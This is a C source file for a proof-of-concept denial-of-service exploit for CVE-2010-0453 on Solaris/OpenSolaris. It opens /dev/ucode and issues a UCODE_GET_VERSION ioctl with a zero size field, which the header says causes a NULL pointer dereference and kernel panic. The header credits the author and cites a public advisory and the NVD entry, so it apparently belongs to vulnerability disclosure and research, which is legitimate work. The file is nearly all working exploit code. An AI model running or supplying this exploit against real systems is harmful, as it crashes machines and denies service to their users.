/*
* cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
* ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
*
* http://www.trapkit.de/advisories/TKADV2010-001.txt
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
*
* Greets to Tobias Klein for discovering the vulnerability and for his
* detailed (as always) advisory.
*
* $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUF_SIZE 64
#define UCODE_DEV "/dev/ucode"
#define UCODE_IOC (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION (UCODE_IOC | 0)
typedef enum ucode_errno
{
EM_OK,
EM_FILESIZE,
EM_OPENFILE,
EM_FILEFORMAT,
EM_HEADER,
EM_CHECKSUM,
EM_INVALIDARG,
EM_NOMATCH,
EM_HIGHERREV,
EM_NOTSUP,
EM_UPDATE,
EM_SYS,
EM_NOVENDOR,
EM_NOMEM
} ucode_errno_t;
struct ucode_get_rev_struct
{
uint32_t *ugv_rev;
int ugv_size;
ucode_errno_t ugv_errno;
};
int
main()
{
int fd, ret;
uint32_t buf[BUF_SIZE];
struct ucode_get_rev_struct in_h;
memset(buf, 0x41, BUF_SIZE);
in_h.ugv_rev = buf;
in_h.ugv_size = 0;
fd = open(UCODE_DEV, O_RDONLY);
ret = ioctl(fd, UCODE_GET_VERSION, &in_h);
printf("[+] ret = %d\n", ret);
printf("[+] ugv_errno = %d\n", in_h.ugv_errno);
close(fd);
return ret;
}
/* EOF */